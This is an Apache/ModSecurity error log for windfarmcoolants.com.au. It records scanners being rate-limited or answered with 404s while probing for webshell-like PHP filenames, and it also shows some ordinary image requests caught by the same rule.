[Fri Apr 17 04:17:19.168177 2026] [:error] [pid 9151:tid 9181] [client 20.166.7.149:9968] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp5.php"] [unique_id "aeFDz8hTVuRPkua22vRpOwAAABQ"]
[Fri Apr 17 04:17:19.847750 2026] [:error] [pid 9153:tid 9242] [client 20.166.7.149:10008] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeFDz-MHGxkTZX3c45e3bQAAAJg"]
[Fri Apr 17 04:17:20.575315 2026] [:error] [pid 9151:tid 9182] [client 20.166.7.149:10121] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeFD0MhTVuRPkua22vRpRAAAABU"]
[Fri Apr 17 04:17:21.463565 2026] [:error] [pid 9153:tid 9240] [client 20.166.7.149:9995] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeFD0eMHGxkTZX3c45e3fAAAAJY"]
[Fri Apr 17 04:17:22.511062 2026] [:error] [pid 9152:tid 9207] [client 20.166.7.149:10108] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/wp9.php"] [unique_id "aeFD0pJYca8I3TNCwIfWeAAAAFE"]
[Fri Apr 17 04:17:23.290092 2026] [:error] [pid 9263:tid 9280] [client 20.166.7.149:10044] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeFD0xP68VyHNvj1e56b3QAAAM8"]
[Fri Apr 17 04:17:24.260078 2026] [:error] [pid 9151:tid 9184] [client 20.166.7.149:29495] [client 20.166.7.149] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.windfarmcoolants.com.au"] [uri "/ws88.php"] [unique_id "aeFD1MhTVuRPkua22vRpVAAAABc"]
[Fri Apr 17 04:17:26.014193 2026] [:error] [pid 9263:tid 9285] [client 20.166.7.149:10095] File does not exist: /usr/local/apache/htdocs/suspended-page/ws88.php
[Fri Apr 17 04:17:26.285312 2026] [:error] [pid 9263:tid 9278] [client 20.166.7.149:10095] File does not exist: /usr/local/apache/htdocs/suspended-page/motu.php
[Fri Apr 17 04:17:26.576096 2026] [:error] [pid 9263:tid 9284] [client 20.166.7.149:10095] File does not exist: /usr/local/apache/htdocs/suspended-page/ibcqocdtu3eovdx2hwj7Cdefault.php
[Fri Apr 17 04:49:41.218457 2026] [:error] [pid 9153:tid 9237] [client 222.71.137.34:51824] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/benefit_image_search.png"] [unique_id "aeFLZeMHGxkTZX3c45fh-QAAAJM"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:41.224791 2026] [:error] [pid 9263:tid 9287] [client 222.71.137.34:51852] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/benefit_image_id.png"] [unique_id "aeFLZRP68VyHNvj1e57TpQAAANY"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:41.226083 2026] [:error] [pid 9153:tid 9219] [client 222.71.137.34:51920] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/info_bullet_three.png"] [unique_id "aeFLZeMHGxkTZX3c45fh-gAAAIE"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:41.229707 2026] [:error] [pid 9153:tid 9225] [client 222.71.137.34:51884] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/04/product_composition_colour.png"] [unique_id "aeFLZeMHGxkTZX3c45fh-wAAAIc"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:41.463068 2026] [:error] [pid 51878:tid 51900] [client 222.71.137.34:51942] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/info_bullet_three.png"] [unique_id "aeFLZUnQhUtMbw9EsgY0BgAAARQ"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:41.463556 2026] [:error] [pid 9152:tid 9209] [client 222.71.137.34:51954] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/04/product_composition_colour.png"] [unique_id "aeFLZZJYca8I3TNCwIf3IAAAAFM"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:41.467801 2026] [:error] [pid 9152:tid 9190] [client 222.71.137.34:51928] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/benefit_image_search.png"] [unique_id "aeFLZZJYca8I3TNCwIf3IQAAAEA"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:41.468436 2026] [:error] [pid 9151:tid 9176] [client 222.71.137.34:51860] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/benefit_image_id.png"] [unique_id "aeFLZchTVuRPkua22vSGRwAAAA8"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:42.141468 2026] [:error] [pid 9153:tid 9221] [client 222.71.137.34:51896] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/intro_foreground.png"] [unique_id "aeFLZuMHGxkTZX3c45fiAgAAAIM"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:42.210717 2026] [:error] [pid 9263:tid 9278] [client 222.71.137.34:51866] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/info_chart.png"] [unique_id "aeFLZhP68VyHNvj1e57TswAAAM0"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:42.366001 2026] [:error] [pid 9152:tid 9201] [client 222.71.137.34:51846] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/intro_foreground.png"] [unique_id "aeFLZpJYca8I3TNCwIf3JgAAAEs"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 04:49:42.437928 2026] [:error] [pid 9151:tid 9178] [client 222.71.137.34:51912] [client 222.71.137.34] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/2019/03/info_chart.png"] [unique_id "aeFLZshTVuRPkua22vSGTQAAABE"], referer: https://windfarmcoolants.com.au/
[Fri Apr 17 05:38:07.664871 2026] [:error] [pid 9153:tid 9242] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/ws80.php
[Fri Apr 17 05:38:07.902907 2026] [:error] [pid 9153:tid 9223] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/inputs.php
[Fri Apr 17 05:38:08.222195 2026] [:error] [pid 9153:tid 9227] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/ioxi-o.php
[Fri Apr 17 05:38:08.470079 2026] [:error] [pid 9153:tid 9221] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/8.php
[Fri Apr 17 05:38:08.706923 2026] [:error] [pid 9153:tid 9228] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/jga.php
[Fri Apr 17 05:38:09.182922 2026] [:error] [pid 9153:tid 9238] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/an.php
[Fri Apr 17 05:38:09.418788 2026] [:error] [pid 9153:tid 9229] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-blog-header.php
[Fri Apr 17 05:38:09.674380 2026] [:error] [pid 9153:tid 9242] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/1.php
[Fri Apr 17 05:38:09.910015 2026] [:error] [pid 9153:tid 9222] [client 4.232.179.255:7112] File does not exist: /usr/local/apache/htdocs/suspended-page/admlo.php
[Fri Apr 17 05:38:11.399741 2026] [:error] [pid 9153:tid 9222] [client 4.232.179.255:7112] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeFWw-MHGxkTZX3c45f6lgAAAIQ"]
[Fri Apr 17 05:38:12.019782 2026] [:error] [pid 51878:tid 51890] [client 4.232.179.255:7054] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeFWxEnQhUtMbw9EsgZlTAAAAQo"]
[Fri Apr 17 05:38:12.535294 2026] [:error] [pid 51878:tid 51885] [client 4.232.179.255:7120] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeFWxEnQhUtMbw9EsgZlTgAAAQU"]
[Fri Apr 17 05:38:13.161396 2026] [:error] [pid 9153:tid 9224] [client 4.232.179.255:7128] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/t.php"] [unique_id "aeFWxeMHGxkTZX3c45f6mwAAAIY"]
[Fri Apr 17 05:38:13.969903 2026] [:error] [pid 9152:tid 9211] [client 4.232.179.255:7055] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeFWxZJYca8I3TNCwIcMOwAAAFU"]
[Fri Apr 17 05:38:14.530243 2026] [:error] [pid 9263:tid 9265] [client 4.232.179.255:7043] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeFWxhP68VyHNvj1e571dgAAAMA"]
[Fri Apr 17 05:38:15.078023 2026] [:error] [pid 51878:tid 51903] [client 4.232.179.255:7158] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeFWx0nQhUtMbw9EsgZlXAAAARc"]
[Fri Apr 17 05:38:15.633530 2026] [:error] [pid 51878:tid 51889] [client 4.232.179.255:7125] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "aeFWx0nQhUtMbw9EsgZlYQAAAQk"]
[Fri Apr 17 05:38:16.334683 2026] [:error] [pid 9263:tid 9284] [client 4.232.179.255:7139] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeFWyBP68VyHNvj1e571fwAAANM"]
[Fri Apr 17 05:38:16.816635 2026] [:error] [pid 9153:tid 9228] [client 4.232.179.255:7106] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeFWyOMHGxkTZX3c45f6pwAAAIo"]
[Fri Apr 17 05:38:17.343742 2026] [:error] [pid 9263:tid 9278] [client 4.232.179.255:7049] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeFWyRP68VyHNvj1e571hgAAAM0"]
[Fri Apr 17 05:38:18.090613 2026] [:error] [pid 9153:tid 9229] [client 4.232.179.255:7048] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/kj.php"] [unique_id "aeFWyuMHGxkTZX3c45f6qwAAAIs"]
[Fri Apr 17 05:38:18.585649 2026] [:error] [pid 51878:tid 51895] [client 4.232.179.255:7053] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeFWyknQhUtMbw9EsgZlawAAAQ8"]
[Fri Apr 17 05:38:19.139100 2026] [:error] [pid 51878:tid 51896] [client 4.232.179.255:7134] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeFWy0nQhUtMbw9EsgZlbQAAARA"]
[Fri Apr 17 05:38:19.608689 2026] [:error] [pid 9151:tid 9181] [client 4.232.179.255:7151] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeFWy8hTVuRPkua22vSZoQAAABQ"]
[Fri Apr 17 05:38:20.083445 2026] [:error] [pid 9151:tid 9173] [client 4.232.179.255:7132] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/new.php"] [unique_id "aeFWzMhTVuRPkua22vSZowAAAAw"]
[Fri Apr 17 05:38:20.722950 2026] [:error] [pid 51878:tid 51900] [client 4.232.179.255:7148] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeFWzEnQhUtMbw9EsgZlcAAAARQ"]
[Fri Apr 17 05:38:21.257620 2026] [:error] [pid 9153:tid 9228] [client 4.232.179.255:7059] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeFWzeMHGxkTZX3c45f6sQAAAIo"]
[Fri Apr 17 05:38:21.781372 2026] [:error] [pid 9263:tid 9269] [client 4.232.179.255:7157] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeFWzRP68VyHNvj1e571pwAAAMQ"]
[Fri Apr 17 05:38:22.411021 2026] [:error] [pid 9263:tid 9273] [client 4.232.179.255:7111] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/edit.php"] [unique_id "aeFWzhP68VyHNvj1e571rwAAAMg"]
[Fri Apr 17 05:38:22.982063 2026] [:error] [pid 9151:tid 9178] [client 4.232.179.255:7127] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeFWzshTVuRPkua22vSZqwAAABE"]
[Fri Apr 17 05:38:23.526718 2026] [:error] [pid 9263:tid 9282] [client 4.232.179.255:7045] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeFWzxP68VyHNvj1e571tAAAANE"]
[Fri Apr 17 05:38:23.994326 2026] [:error] [pid 51878:tid 51889] [client 4.232.179.255:7124] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeFWz0nQhUtMbw9EsgZldAAAAQk"]
[Fri Apr 17 05:38:24.595885 2026] [:error] [pid 9153:tid 9228] [client 4.232.179.255:7056] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/gettest.php"] [unique_id "aeFW0OMHGxkTZX3c45f6ugAAAIo"]
[Fri Apr 17 05:38:25.088422 2026] [:error] [pid 9153:tid 9221] [client 4.232.179.255:7123] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeFW0eMHGxkTZX3c45f6vgAAAIM"]
[Fri Apr 17 05:38:25.558625 2026] [:error] [pid 9263:tid 9289] [client 4.232.179.255:7118] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeFW0RP68VyHNvj1e571uwAAANg"]
[Fri Apr 17 05:38:26.171534 2026] [:error] [pid 9153:tid 9229] [client 4.232.179.255:7131] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeFW0uMHGxkTZX3c45f6xAAAAIs"]
[Fri Apr 17 05:38:26.653042 2026] [:error] [pid 9152:tid 9205] [client 4.232.179.255:7145] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/666.php"] [unique_id "aeFW0pJYca8I3TNCwIcMVwAAAE8"]
[Fri Apr 17 05:38:27.132409 2026] [:error] [pid 9151:tid 9185] [client 4.232.179.255:7121] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "aeFW08hTVuRPkua22vSZtgAAABg"]
[Fri Apr 17 05:38:27.621368 2026] [:error] [pid 51878:tid 51904] [client 4.232.179.255:7062] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "aeFW00nQhUtMbw9EsgZleAAAARg"]
[Fri Apr 17 05:38:28.103474 2026] [:error] [pid 9263:tid 9289] [client 4.232.179.255:7143] [client 4.232.179.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tool.php"] [unique_id "aeFW1BP68VyHNvj1e571ywAAANg"]
